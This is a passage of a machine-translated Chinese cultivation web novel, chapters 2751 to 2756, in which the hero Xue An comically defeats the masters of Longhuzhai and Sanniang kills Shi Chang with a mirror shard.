    At the same time, the chased Shi Chang, who had no way to go to the ground, roared and tried to get rid of Xue An''s entanglement, but it didn''t help.


    Xue An is like a tarsal maggot, following behind him like a shadow, and launching attacks from time to time. Shi Chang staggers and feels embarrassed.


    But Xue An was not in a hurry to end the battle, instead, playing Shi Chang as a cat and a mouse.


    Seeing this, Duan Muguang approached Wu Jun and said solemnly: "How do I think this young man seems to be playing Shi Chang?"


    Wu Jun let out a sigh of relief slowly, "It''s not like, but it''s!"


    "I don''t understand. Although this young man has a secret law that can suppress Shi Chang, who can guarantee that he won''t have many dreams at night, why didn''t he kill Shi Chang quickly, so as to end the battle as soon as possible?" Duan Muguang hesitated.


    "I don''t quite understand, but he seems to be waiting for something!"


    "Waiting for what?" Duan Muguang frowned, suddenly thinking of a possibility, "You mean..."


    Wu Jun nodded, "When he was in Ren''an City, he killed the two masters of the Asura Hall. It can be seen that he knew about the Asura Hall. The reason why he is not in a hurry to kill Shi Chang is probably to lure the Asura Hall out. !"


    "But the question is, will this Shura Temple take action? After all, judging from the current clues, this Shura Temple itself was founded by Shi Chang, and now he can''t protect himself. The guys in the Shura Temple are willing to make sacrifices for him? "Duan Muguang said coldly.


    Wu Jun shook his head, "That''s why I just said that I didn''t quite understand it. Maybe this young man still has clues that we don''t know!"


    And just as the two of them were talking, several black shadows appeared silently in a corner of Wenhui Pavilion.


    Although the people around him were only a dozen meters away, these black shadows seemed to have eliminated all the sense of existence, and did not attract anyone''s attention.


    After seeing the situation in the field clearly, one of these figures let out an arrogant hum.


    She was actually a woman.


    "I thought about how powerful Shi Chang could be, but it turned out to be a trivial trick. The trick was easily revealed, and I was lurking in his mansion for so long in vain!"


    "Sister Sister, don��t be too angry. Although this old man Shi Chang is unbearable, he has done meritorious service for us anyway. If he is allowed to be killed in this way, wouldn��t it be cold for others to take refuge in us? The heart of the person?" a wicked and cold male said.


    "Big brother is right, this old man is also the head of the Shura Hall in name at any rate, and he has provided a lot of cover for our actions, so I should save it!" Another sticky, clammy male voice sounded like a poisonous snake.


    The woman laughed sweetly.


    "Big brother and second brother, I understand what you are saying, and I am just grumbling. It is impossible not to save this old man Shi Chang! But..."


    Following the voice, the figure of this woman appeared, and she was the Sanniang who had previously led Yun Lingxuan in the city lord''s mansion.


    She saw her staring fiercely at the white figure in the sky, "This young man has to catch alive!"


    "Cuckl!" The eldest brother of the black shadows let out a harsh laugh.


    "It seems that our third sister is very fond of this kid!"


    Sanniang licked her red lips, but did not refute.


    In fact, she had already fallen in love with Xue An as early as she was lurking in the dark.


    At the first sight of him, the Sanniang was shocked.


    There are such handsome boys in the world?


    Especially that kind of temperament that is as gentle as jade, but also has a sharp edge, it almost made these Sanniang''s saliva flow out.


    "This is easy to say, the second brother will catch your life for you later!" The viper-like voice sounded again.


    Sanniang smiled openly, "Thank you, big brother and second brother!"


    "My brothers and sisters, what do you say thank you! This old man Shi Chang can''t hold it anymore, so hurry up!"


    When the words fell, the barrier that had been haunting these people''s heads broke open, and then everyone around them shook together, only to find that there was a group of men in black with vicious looks in the corner.


    But before they could react, the group of people in black rose into the sky and rushed towards Xue An in the sky.


    Shi Chang couldn''t help being overjoyed when he saw these people in black.


    "Everyone, grandpa, save me!"


    "I see, isn''t this here to save you? Noisy!" The second brother snorted coldly, obviously not happy with Shi Chang.


    But at this moment, in Shi Chang''s mind, these people in black are almost more intimate than their fathers.


    In an instant, Shi Chang felt as if he had a fight. The previous slump was swept away, and even his waist was straightened.


    He turned his head and grinned at Xue An.


    "Boy, your death date is here!"


    Xue An was calm, as if not surprised at the appearance of these men in black, and smiled faintly when he heard the words.


    "Oh? My death date is up? Are you talking about them?"


    "Of course! Grandpa of the village masters is impossible to let you go!" Shi Chang said triumphantly.


    At the same time, these men in black flew into the air and stood behind Shi Chang.


    Shi Chang nodded and bowed, just as he was about to say something to these people, the eldest brother waved impatiently.


    "Go go, go away!"


    Shi Chang didn''t even dare to say a word, but with a flattering smile on his face, he stepped aside.


    Then I saw the elder brother in black looking at Xue An for a moment, and then nodded.


    "No wonder the third sister would like this kid, he looks really good!"


    After that, I saw him grinning strangely at Xue An.


    "Boy, are you obediently catching it? Or let me wait and trouble?"


    The arrogance in the words is full.


    Xue An didn''t feel angry at all, but instead looked at the men in black in his spare time, and then sighed lightly.


    "Before I thought it would be the people from the Shura Temple who would lead out, but I didn''t expect it would be you!"


    "Shura Palace?"


    The group of people in black looked at each other, and then burst into laughter.


    "That kind of inferior sect is embarrassed to be compared with us? Boy, don''t talk nonsense, hurry up and catch it. For the sake of your face, we can spare you not to die! Otherwise! !"


    "Otherwise?"


    "Otherwise you will suffer a bit!"


    Xue An smiled, "What a coincidence, I really like to suffer more!"


    "Huh, big brother, why don''t you talk to such a little white face, let me go up and grab him and give him to the third sister?"


    From the black clothed man came a urn-sounding, violent, wild voice, and then saw a tall and strong man approaching.


    When he saw him, the man in black nodded, "Well, fifth brother, be careful!"


    "If you know your brother, please be fine!"


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2751 is weak and strong), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2752： From a strong man to a stronger man.

    You can search for "Invincible, starting from the new book Haige novel ( in Baidu to find the latest chapter!


    The brawny man walked forward with a grinning smile, and pointed at Xue An with a finger like a steel bar.


    "Little white face, don''t you like to suffer hardship? Grandpa today, I will let you taste the hardship!"


    With that, the muscles on his body swelled rapidly, and instantly he changed from a strong man to a stronger man.


    And after this person''s muscles swell up, there are faint blood vessels and meridians trembling under the skin, like a snake, giving people a thrilling sense of strength.


    There has always been a rule that the strong man must fail in the world of cultivation, which is that the role similar to the strong man is used to play soy sauce.


    After all, anyone who is a bit real and practical has already restrained the essence and will not become a muscular man.


    This has also caused these strong men to feel inferior to the muscles of their bodies, unless they are unwilling to show them in front of others.


    But today this brawny man is different. Not only does he not feel inferior, he is also quite proud of his tendon flesh. Before he could start fighting, he broke his shirt, revealing his naked upper body.


    He waved his arms a few times, posing a classic mechanics shape, and then smiled triumphantly at Xue An.


    "How about? Look at me?"


    Xue An shook his head, "Don''t look!"


    The brawny man didn''t understand, but this did not prevent him from feeling the dismissiveness in Xue An''s words, and he couldn''t help being furious.


    "Little white face, die for me!"


    He stamped his left foot fiercely, and the space he was stepping on trembled, and then blasted towards Xue An like a human cannonball.


    Not to mention anything else, this momentum alone is enough to deter ordinary people.


    But in the face of this situation, Xue An not only did not put on any posture facing the enemy, but took his time to cut out his ears and yawned.


    "It''s really boring, I thought I would wait for such a magnificent character, the result is a bunch of wine bags and rice bags!"


    As he spoke, the brawny man had already rushed to the front.


    Seeing Xue''s safety and defenselessness, the corners of this brawny man''s mouth couldn''t help but a smug sneer.


    This blow will definitely break this kid''s bones, and hope that the third sister won''t mind then!


    But the next second, the smile on his face froze.


    Because at this moment, Xue An''s hand that pulled out his ears flicked lightly, and it happened to hit the brawny man''s head.


    The bullet seemed to be light and weak, but it made a loud noise with metallic echo.


    Many people feel that their heads are painful, and the strong man has already rushed to the side wall like an arrow from the string.


    boom!


    Amidst the dust, a humanoid silhouette appeared on the thick walls, and the strength of it even made the whole building tremble.


    However, Shi Chang had really lost money for the construction of this Wenhui Pavilion. Even so, the brawny man couldn''t break it through, but got stuck in the wall and couldn''t move for a while.


    The audience was quiet.


    Especially the black people who appeared later, their faces were gloomy, and they were about to drip.


    "Fourth, you go!" the eldest brother ordered.


    In fact, there is no need for him to say that this man in black, known as the fourth child, couldn''t hold back after seeing his brother''s defeat.


    Hearing the elder brother''s order, he screamed and rushed over.


    "Boy, pay back my brother''s life!"


    He thought his brother was dead, so his eyes were cracked, he rushed to Xue An at a very fast speed, and then he raised his hand to a palm.


    This applause is quite impressive.


    But the expression on Xue An''s face became more...boring.


    I saw him stretch out a finger boringly, just appearing on the path taken by this palm.


    puff!


    The fingers are like steel needles, passing through the palm of this man without any hindrance.


    As the blood splattered, the man in black, known as the fourth oldest, was taken aback for a moment, and even then broke out a miserable howl.


    "Ahhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh!"


    Xue An shook his fingers with a bored expression on his face.


    Then the man in black started shaking his head profusely, crying constantly in his mouth.


    The audience became quieter and quieter.


    The pupils of the remaining people in black shrank instantly.


    "This kid is really amazing!"


    "It seems that capturing him alive today is a bit difficult!"


    "Or... let my sixth brother come on!" The Sanniang had actually flown into the air a long time ago, but she had been idiotic about Xue An before.


    So handsome!


    He looks so handsome even in fights!


    When her fourth brother was easily defeated, her expression couldn''t help becoming serious, and she said in a deep voice.


    Hearing this, the eldest and second elder brothers are all a little cautious.


    "This... isn''t this bad!"


    "The sixth man''s character is crazy when he sees blood, but sending him up is easy to kill!"


    "Don''t worry, I''ll talk to the sixth brother!"


    As the Sanniang turned and stood at the back of the team, the man in black who had been silent said something.


    The man in black had been bowing his head before, and when Sanniang whispered a few words in his ear, he slowly raised his head, eyes full of red light.


    "I know, I will try my best to control myself not to kill him!"


    Sanniang let out a sigh, "That''s good! Everything depends on you!"


    "Do not worry!"


    With that said, this old sixth stepped on the void and wandered forward.


    After seeing him walking towards him, Xue An raised his eyebrows slightly and looked at the man in black with interest.


    This is because the walking posture of the man in black is very strange, as if a ruler is controlling his feet, every step he takes is exactly the same.


    "Sanniang likes you very much!" The sixth man stopped and said to Xue An coldly.


    "So I won''t kill you this time, but you beat my two brothers, so I will give you a lesson that will be unforgettable for a lifetime!"


    Xue An looked at with interest, "Oh? What lesson?"


    It wasn''t until this time that Xue An released his finger, and the fourth child stumbled back, clutching his palm and shouting in pain.


    "Sixth, don''t let him go, avenge your brother!"


    The sixth nodded, "Don''t worry, brother, I will let him survive today, please die..."


    Snapped!


    Before he finished speaking, a loud slap slapped him.


    Then Xue An stood in front of him and asked with interest: "To be honest, I really want to know how you can make me survive and die!"


    The sixth slap fan was a little stunned Then he slowly raised his head, his left cheek was already red and swollen.


    But it was his eyes that were redder than the left face.


    "Come here, the sixth child is going crazy!" The eldest and second elder brothers all clenched their fists nervously.


    Sanniang even exclaimed, "No Six Brother!"


    But when it was too late, I saw this old six horrible monster laughing, "I will tear you up a little bit, and then..."


    Snapped!


    His words were interrupted again, this time it was the right cheek that was slapped.


    Then Xue An said in his spare time: "What did you just say? I didn''t hear too clearly, can you say it again?"


    "I''m fucking..." The sixth man was furious.


    Snapped!


    "Continue?!" Xue An''s voice was as pale as water.


    "I..." Old Six said.


    Snapped!


    "Continue!" Xue An continued.


    "I����."


    This time, as soon as I uttered my words, Xue An slapped him out with a slap in the face.


    The power of the slap this time was great, and it was directly inserted into the side wall, and it happened to be next to the old fifth.


    The atmosphere in the field became a bit awkward for a while.


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click on the "Favorites" below to record this time (Chapter 2752 changed from a strong man to a stronger man.) Reading records, and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 2753： Longhuzhai

    Chapter 2753 Dragon and Tiger Village


    Many people almost choked on their saliva.


    "Just... this is it? I thought it was so good looking at the imposing look just now!" someone said with a curled mouth.


    But more people are dumbfounding.


    Because no one knows what this group of people in black are here for!


    It looks cold and evil, like a predatory villain, but how can you start to compare dishes one by one?


    Could it be that they came to be funny?


    Shi Chang''s face was also very ugly, after all, he had already boasted to Xue An just now.


    The appearance of these men in black meant that his death date had come.


    Look at the current situation... it seems something is wrong!


    Thinking of this, he couldn''t help but talk to the boss of this group of people in black embarrassedly.


    "Da Zhaizhu, this kid is very rampant, if he doesn''t give a severe lesson, I''m afraid it will be difficult to convince the crowd!"


    The implication is that you have just lost three games in a row in front of so many people. If you don''t find a place to get back, then how will you get mixed up in the future?


    The eldest brother naturally heard what Shi Chang meant, and couldn''t help but sneered: "Don''t worry, it was just a small accident just now, and the next thing is the main story! The second!"


    "Big Brother!" The man in black who spoke like a viper stepped forward.


    "Ready to fit together!"


    "Yes!"


    As soon as this remark came out, even the Sanniang couldn''t help being shocked.


    "Brother, is this really the case?"


    "Sister, this kid hurt several of us. If we don��t teach a lesson, how will our brothers get mixed up in the future? Don��t worry, my second brother and I will make a good sense later. It��s just a small lesson, no It hurt him too hard!"


    "Yes, the third sister, with the elder brother presided over, this kid can''t die." The second child also said.


    "Okay... OK, don''t hurt his face!"


    Sanniang took a step back, but his face was still full of worry.


    Because in her opinion, once the eldest brother and the second brother are ready to attack together, no matter who the opponent is, there will be no place to bury them.


    It''s just that she has only heard of this secret technique after following the eldest brother and the second brother for so many years, and has never seen it in person.


    Shi Chang on the side was determined in his heart.


    The reason why he treats these people in black so respectfully is because their names are too loud.


    May I ask anyone in Ling''an Region and the surrounding areas who don''t know the name of Longhuzhai!


    Rumor has it that all of this Dragon Tiger Village are superiors and strangers, and they are extremely powerful.


    As the owners of the Dragon Tiger Village, the strength of these men in black is naturally not to mention.


    Especially when Shi Chang met these people in black for the first time, even if he was overwhelmed by the fierce and tyrannical aura of these people, he decided to turn to them.


    It was in this situation that the Sanniang was sent to his city lord mansion for surveillance.


    Over the years, Shi Chang has been respectful to the owners of Longhu Village, and he dare not defy the slightest.


    But the strength they showed just now made Shi Chang very disappointed, and even at that time it also produced an extremely absurd feeling.


    He is cautious, and he has the ability to fight against the strong in Longhuzhai who will not fight back or fight back?


    But now when he heard that the master of the great village and the master of the second village were actually preparing to use the combination secret technique to deal with Xue An, he couldn''t help but let out a sigh of relief.


    it''s finally over!


    No matter how powerful this kid is, it is impossible for the two village masters to fight with all their strength!


    Your own grudges can also be reported!


    Thinking of this, he couldn''t help looking at Xue An with a deadly look, and a gloomy sneer appeared at the corner of his mouth.


    At the same time, I saw the master of the great village and the master of the second village step forward and gave Xue Anxianjie a weird smile.


    It wasn''t until Xue An was a little impatient to laugh that he listened to this great village master coldly speaking.


    "Boy, I didn''t expect you to have some patience. You actually hurt four, five and six brothers, but now we are all over, because the two of us are going to teach you a lesson!"


    Xue An was speechless and even wanted to sleep, so he yawned first, and then asked lazily.


    "Oh, what then?"


    Xue An''s disdainful attitude instantly angered both of them.


    "Boy, you are less mad, don''t think you can win a few games, tell you, today you can be defeated by the two of us, it is enough for you to be proud!" The second village master shouted coldly.


    "Oh, what are the names of you two?"


    "Hey, I''m not afraid to scare you to death when I say it. I am the second village master of Longhuzhai. My name is Zhang Xiaoqiang! This is my brother and the master of Longhuzhai. The saint is inferior to him, just like a bull with a bright moon shining in ancient and modern times, my brother Niu!"


    I read this madly cool, stinky and long nickname, but this Zhang Xiaoqiang was not angry and looked arrogant, looking at Xue An with arrogance, as if waiting for him to be given by his two names. Scared to get down.


    But in the end, Xue An owed even the slightest expression of surprise, but stretched a long waist, and then said boringly.


    "Are you finished? If you are finished, then do it! I''m a little sleepy."


    "Good boy, dare to despise me like this, brother, give him a lesson!"


    "Get ready early, start to fit together!"


    boom!


    With this soft drink, a dazzling brilliance enveloped the two of them.


    Immediately afterwards, a tyrannical aura began to emerge inside.


    Shi Chang laughed loudly, "Xue An, you are dead this time, and the master of the Great Village and the Master of the Second Village will definitely make you want to die!"


    The expressions of everyone present also became solemn.


    Because this scene is really scary.


    Duan Muguang said with a serious face: "Old Wu, can you still move? If this young man loses, let''s go up and help!"


    "No problem!" Wu Jun said very solemnly.


    Only Xue An didn''t care about it, and even glanced at the stage in the mood, and happened to have a cross eye with the little maid who kept sneaking around.


    Xue An smiled slightly, and UU read lightly nodded in greeting.


    Tuan''er''s face flushed immediately, and he hurriedly lowered his head to avoid Xue An''s sight, but he was surprised and happy in his heart.


    What was shocking was that at this time, this young man Xue was still in the mood to look around.


    I was so happy that he actually smiled at himself just now.


    Thinking of this, she couldn''t help holding her hot face and smiled stupidly.


    "Tuan''er, what''s the matter with you?" Yun Lingxuan, who has been following the developments in the field, noticed the strangeness of Tuan''er and couldn''t help asking in a low voice.


    "Ah... it''s okay, miss, do you think Master Xue can win this time?"


    Yun Lingxuan sighed lightly: "I don''t know, but this Dragon Tiger Village is indeed a famous big cottage in several nearby areas. These two have the secret technique of combining, it is estimated that victory will be a match. A narrow win!"


    (End of this chapter)

 Chapter 2754： cute thing

    Chapter 2754


    Tuan''er''s heart suddenly raised her throat, "What should I do? Miss, or let''s help too!"


    Yun Lingxuan glanced at her strangely, then shook her head and said, "Even if I add my ancient mirror, it won''t be of any help to the situation, and why is your face so red?"


    "Ah...it''s nothing, maybe it''s hot!" Tuan''er hurriedly turned off the topic.


    Although Yun Lingxuan was a little strange, she ignored the group at this critical moment.


    Tuan''er stared at the battlefield in the air, and his heart was chaotic.


    Master Xue, you must be fine! Miss important matters need to be entrusted to you! Of course...and me!


    Thinking about it, Tuaner couldn''t help but blush again.


    However, Xue An couldn''t guess the careful thoughts of her women.


    He just smiled politely, but he did not expect that this little maid hurriedly lowered his head and avoided like a frightened deer.


    This made Xue An a little bit dumbfounded, saying that this little maid was quite shy.


    I also blame myself for provoke others, I hope I don''t think of myself as a disciple.


    At this moment, I listened to the loud laughter of the master Niu from Dazhai in the brilliance.


    "Hahahaha boy, it''s your blessing to see me together, die!"


    When the words fell, the brilliance dissipated, and then...the whole audience was quiet.


    Because just under the eyes of everyone, a cute thing appeared in the sky.


    This cute creature is round and fluffy like a pom-pom, extremely cute.


    Even just looking at it makes people have a strong urge to touch hard.


    At least Tuaner couldn''t help but murmured, "Wow, it''s so cute!"


    But besides that, there is no such figure in the air as Niu Dali, the master of the great village, and the figure who advocates Xiaoqiang in Erzhai.


    How about the two of them?


    Everyone was wondering, the pompom suddenly squirmed.


    Then two heads were drilled out of the pompom. It was the faces of Niu Dali and Zhang Xiaoqiang.


    "Hahahaha, how about our fit! Isn''t it very strong?" Niu Dali laughed wildly.


    Zhang Xiaoqiang also echoed, "Yes, if you are afraid, then you will obediently admit defeat and surrender now, so you can suffer less!"


    At the beginning, Xue An was also a little stunned, because he really didn''t expect these two guys to fiddle for a long time, but in the end they combined to produce a cute creature.


    But after hearing the threats from the two of them, Xue An slowly raised the corners of his mouth and said with a smile.


    "I finally figured it out now, you guys used to be responsible for being funny!"


    "Huh, you dare to be so hard when you die, brother, give him some color first!"


    With that said, this Xiaoqiang wanted to urge the cute ball to move forward.


    But somehow, maybe it was because Zhang Xiaoqiang worked hard for a long time and only wriggled his side, but Niu Dali didn''t move at all.


    As mentioned earlier, the two of them combined into a round pompom, so when Zhang Xiaoqiang unilaterally exerted force, because of the sphere, they quickly lost their balance and rolled in the sky.


    "Hey, second, what''s the matter with you?"


    "Big brother, I still want to ask you, why don''t you move?"


    "I didn''t hear it at the time, let him stop first!"


    "Why stop? It''s the first time I have combined with you. I have no experience at all!"


    "Didn''t you say that you have practiced before?"


    "That''s a lie to you!"


    "Broken, broken, I turned dizzy!"


    The quarrel between the two spread all over the place, which also made the atmosphere of the audience extremely embarrassing.


    If possible, Shi Chang really wanted to strangle these people in black.


    He thought he had found a big backer, but he didn''t expect it to be a small bag.


    Shi Chang wanted to die when he thought of being respectful and respectful to such a person just now.


    If it is possible, he really wants to treat these people as having never appeared before. In that case, even if he died in Xue An''s hands, he would be upright. As for how it is like this, even if he died, he still had to shed an eternal laughter.


    When Shi Chang was ashamed and angry, the ball finally stopped, and then Niu Dali and Zhang Xiaoqiang moved with difficulty, finally finding an angle and regaining their balance.


    "Boy, it was an accident just now, now we are going to be real!" Niu Dali coldly shouted.


    "Yes, it''s real!" Zhang Xiaoqiang also shouted fiercely.


    Xue An seemed to smile, "Oh? How come it''s real?"


    "Hmph, you are optimistic!"


    When the words fell, Niu Dali and Zhang Xiaoqiang worked together, and then the ball bounced and smashed towards Xue An.


    Not to mention, this smash is full of wind, and its power is quite extraordinary.


    Shi Chang''s face couldn''t help showing a look of expectation.


    Maybe these two guys deliberately pretended to be foolish, so as to relax Xue An''s vigilance.


    But the next moment, the expectation on his face freezes.


    Because the moment the ball just rushed to Xue An''s approach, Xue An suddenly raised his foot and volleyed vigorously.


    The ball turned into a white shadow in the screams of Niu Dali and Zhang Xiaoqiang and was kicked out.


    Bang!


    The ball hit the wall hard, splashing countless dust.


    A big round hole was smashed into the wall.


    And, by coincidence, the position they two smashed was right next to the fifth and sixth.


    The three brothers are arranged in a straight line, which looks exceptionally harmonious.


    The audience was silent at first, and then roared with laughter.


    There is no other reason, but these guys in Longhuzhai are so funny, they can be called a living treasure.


    And in the roar of laughter, Xue An turned to look at Shi Chang, and said lightly: "This is what you call a backer?"


    People couldn''t help laughing louder, especially Wu Jun and Duan Muguang laughed the happiest, and even laughed out of tears.


    Because to them, Shi Chang is the enemy of life and death, so every bit of injury he suffers is a comfort to himself.


    What''s more, this incident is really too funny.


    In the laughter of the audience, Shi Chang''s complexion was green and red, and in the end it turned into a deep purple.


    "I��."


    Before the words fell, the blood spattered.


    Shi Chang looked blank, turned his head to look, and saw that Sanniang was standing behind him, holding a piece of mirror-like fragments and inserting it deeply into his neck.


    The blood poured out, Shi Chang roared, wanting to fight back.


    But at this moment, Sanniang sneered.


    "Did you forget your vow to take refuge in us?"


    As soon as this statement came out, Shi Chang was shocked all over his body, as if he was **** in chains, no matter how difficult it was to make any movements, only the color of prayer appeared in his eyes.


    But the Sanniang was merciless, pulling out the mirror fragment and stabbing it down again.


    After a few puffs, Sanniang let go of his hand, and Shi Chang fell to the ground like a dead fish, trembled a few times, and finally died in desperation.


    After finishing all this, Sanniang wiped the splashing blood drops on his face and smiled at Xue An.


    "This young man, the person you want to kill, I killed for you, how can you thank them?"


    (End of this chapter)

 Chapter 2755： 1 group of live treasures (on)

    Chapter 2755 a group of living treasures (1)


    When she was speaking, this Sanniang was full of fascination, and Xue An''s eyes were even softer and almost disappeared.


    Seeing this scene, Tuan''er couldn''t help but screamed in secret.


    Bah, vixen!


    Immediately, she looked at Xue An worriedly again, meditating in her heart.


    Master Xue, don''t be fooled by this woman!


    Although she is beautiful and big, but this kind of woman is deceptive.


    It seemed that her meditation had played a role, and Xue An raised his eyebrows slightly and said coldly.


    "Thanks? Did I tell you to kill him?"


    Despite being treated like this, the Sanniang still smiled at Yan Yan.


    "Oh, why are you so fierce, isn''t it also a good intention, I want to do you a favor..."


    As soon as the busy word was uttered, the following words were interrupted.


    Because at this moment, Xue An appeared in front of her like a ghost, and then pinched her neck with one hand and lifted her into the air abruptly.


    Sanniang''s face turned red in an instant, because it was not only her throat that was strangled, but also the cultivation base on her body.


    A look of panic appeared in Sanniang''s eyes.


    She finally understood why Na Xu Gaotian stopped struggling after being pinched by Xue An just now. It was not that she didn''t want to, but that she couldn''t do it at all.


    At the same time, I saw Xue An coldly saying: "I don''t care who you were before, but I don''t like the tone of your speech just now, and I killed Shi Chang without my permission. You should die for reason. !"


    The panic in Sanniang''s eyes became more intense, and her mouth moved with difficulty. Although she didn''t make a sound, she could tell from her mouth that she was talking about mercy.


    Xue An released his hand, and Sanniang fell to the ground, coughing violently.


    Xue An did not urge, but stood there and waited quietly, until she finally returned to normal, Xue An just said.


    "Now I ask you to answer, you must not conceal the slightest deception, otherwise..."


    Sanniang nodded hurriedly, "The little girl understands that she will not dare to deceive an adult."


    A pitiful look naturally appeared on her face between words. Xue An frowned slightly but ignored these, but said in a deep voice.


    "What''s your name!"


    "The girl''s name is Sheng Hongqian!"


    "Who are these people?"


    "They are all my brothers!"


    "Where do you belong!"


    "Longhuzhai!"


    "Why come here?"


    "I came here by Shi Chang''s invitation!"


    "Why did he invite you!"


    "He had turned to us before. This time the literary meeting was held, he was afraid that someone would make trouble, so he specially invited us to come and help out!"


    Upon hearing this, Xue An was silent for a moment.


    Sheng Hongqian carefully looked at Xue An, her eyes brightened as she watched.


    But when Xue An looked down at her, she hurriedly lowered her eyes to cover up the light in her eyes.


    "So you were so anxious to kill him just now, is it because he knows something?" Xue An said lightly.


    Sheng Hongqian quaked all over, but Xuan even raised her head and smiled and said: "My lord is too worried, I just..."


    Xue An snorted coldly, and a bitter power emerged, making Sheng Hongqian''s face pale as paper instantly.


    "Did you not hear what I just said?" Xue An said.


    Sheng Hongqian finally did not dare to have the slightest chance of luck.


    She can be sure that if she dared to do any more behaviors that surpassed the rules, then this white-clothed boy would definitely do it mercilessly.


    So she hurriedly said: "If it is to cover up, everything is to blame for this Shi Chang is too stupid. At first, in order to take refuge in us, he did not hesitate to swear by himself, so just now he was restrained when facing me, and he was finally taken by me. kill!"


    Xue An knelt down and stared at her coldly.


    Sheng Hongqian wanted to squeeze a smile, but found that the muscles in her face had already stiffened, which shows how terrifying the power Xue An exuded just now.


    "This Shi Chang is not a fool. With his strength, he should be able to find out your details easily, so why should he restrain himself, even if he vowed to take refuge in you?"


    Sheng Hongqian smiled bitterly, "I don''t know the truth, I really thought my older brothers were powerful! As for why Shi Chang was deceived... I don''t know!"


    Xue An stared deeply into her eyes.


    In an instant, Sheng Hongqian even had an illusion.


    The white-clothed boy in front of him has become a high emperor, and he is a prisoner awaiting trial.


    Under his scrutiny gaze, all his secrets will be invisible.


    After a while, Xue An''s gaze slowly moved down, and finally stayed on the mirror fragment she was holding.


    "what is this?"


    "Ah...this...this was picked up by accident when I was playing in the back mountain of Longhu Village!"


    Sheng Hongqian hurriedly handed over the fragments of the mirror in her hand.


    Xue Anxin took it, and the moment he started, his heart moved.


    "I picked it up by accident?"


    "Yes, I didn''t take it too seriously at the time, but later I discovered that this thing is invincible, and it can isolate murderous intent, and it is perfect for assassination, so I always carry it with me for self-defense!" Sheng Hongqian Words carefully.


    Xue An was silent, but he was already caressed in his heart.


    Undoubtedly, this mirror fragment and the one in Yun Lingxuan''s hand obviously originated from the same source.


    The key is that this thing was actually picked up by Sheng Hongqian from the back mountain of Longhu Village by accident.


    This is interesting!


    Xue An was thinking about it in his heart, and the few who were photographed on the wall by him finally broke free at this time.


    "Big brother and second brother, why are you also being photographed into the wall?" The old fifth who was photographed into the wall was surprised.


    Niu Dali and Zhang Xiaoqiang were already out of the fit state at this time. After hearing the fifth question, their faces couldn''t help but show a sense of ambiguity.


    "Ah... it''s nothing, just one accident!" Niu Dali said.


    "Yes, we let this kid take advantage of a moment of negligence!" Zhang Xiaoqiang immediately agreed.


    Hearing this, the sixth child immediately became excited.


    He has a problem, his eyes will turn red when he is excited.


    "That''s great, that kid is squatting not far away to talk to the third sister, let''s go and find him to settle the account!"


    As soon as this remark came out Niu Dali and Zhang Xiaoqiang quieted down instantly.


    "What''s the matter, elder brother and second elder brother? Hurry up!" So the sixth was unknown, urged.


    With a plop, Niu sat on the ground vigorously.


    "Oh, my waist!"


    The fifth hurriedly rushed over, "Big brother, what''s the matter with you?"


    "I may have been injured just now, and now my back hurts so badly that I can''t stand up at all!"


    "Injured?" The sixth man poked his head out and said with a puzzled face: "Then why was it okay just now?"


    "This..." Niu Dali was really asked.


    At this moment, Zhang Xiaoqiang raised his hand and patted the back of the sixth head.


    "Nonsense, just now the eldest brother was suppressed by the Supreme Cultivation as an injury, you naturally can''t see it!"


    (End of this chapter)

 Chapter 2756： 1 group of live treasures (below)

    Chapter 2756 a group of living treasures (below)


    The slapped eyes of Lao Liu started to flush again, but this time it was not because of excitement but because of grievance.


    "Then why can''t it be suppressed now?"


    Zhang Xiaoqiang: "..."


    Then he was furious, raised his hand and gave the sixth one again, "Why are you so many?"


    The sixth child''s eyes were even redder.


    Zhang Xiaoqiang glared, "No matter how red it is? Believe it or not, I still slap you?"


    The sixth man was so scared that he quickly covered his eyes, "Second brother, I didn''t mean it, but I can''t control it at all!"


    At this moment, Xue An stood up and walked towards them.


    Now, these people are all nervous.


    "It''s broken, it''s broken, he''s here, shouldn''t it be the one who came to us to settle the accounts!" The high-ranking old fifty said nervously.


    Zhang Xiaoqiang said helplessly: "Fifth!"


    "Um?"


    "Can you come out from behind me first, if you really come to us to settle the accounts, do you think you can hide this way?"


    The old quintessentially straightened up, and said with a rather temptation: "I...I am not afraid!"


    When they were speaking, Xue Anye had already approached them.


    These people hurriedly held their breath and were afraid to show the slightest disrespect.


    Even Zhang Xiaoqiang smiled flatteringly at him.


    But Xue An ignored them at all, but went straight to Niu Dali and looked at him condescendingly.


    At this moment, the cow slumped to the ground vigorously. Under Xue An''s attention, he only felt sweat on his forehead, and his whole body trembled slightly.


    "What are you... Well, the ancient saints are not as good as you, just like the bright moon shining on the ancient and modern cows?"


    "Don''t dare, just call me the calf!" Niu vigorously said flatteringly.


    Xue An smiled faintly, "What? Injured?"


    "Uh...it''s a bit, my waist hurts a bit!" Niu Dali said with a grin.


    "In that case, should I help you out?" Xue An raised his eyebrows slightly.


    As soon as this remark came out, Niu Dali immediately bounced from the ground like a spring, and then spoke with more energy.


    "Hey, sir, don''t tell me, you come here, my injury is healed!"


    "Really good?" Xue An said lightly.


    Niu patted his chest vigorously, "Heal without medicine!"


    At this moment, the sixth man poked his head out and said with a puzzled face: "Big Brother, didn''t you just suppress your injury with the Supreme Cultivation Base? Why? The Supreme Cultivation Base is back? Then we should hurry up with this kid. ��Ohhhhhhhhhh."


    Zhang Xiaoqiang tightly covered the mouth of the sixth child, and smiled flatly at Xue An: "My lord, this kid has an abnormal head. He was squeezed by the door when he was young. Don''t be familiar with him!"


    Xue An didn''t bother to pay attention to this bunch of treasures either, but reached out and took out the fragment of the ancient mirror.


    "Have you seen this thing?"


    "I have seen it! Isn''t this the thing the third sister picked up?" The fourth child, whose hands had stopped the blood, leaned over and said very seriously.


    "I mean, apart from this in her hand, where have you seen it?" Xue An asked.


    These people look at me and I look at you, and then they all shook their heads, but immediately this Niu Dali preached.


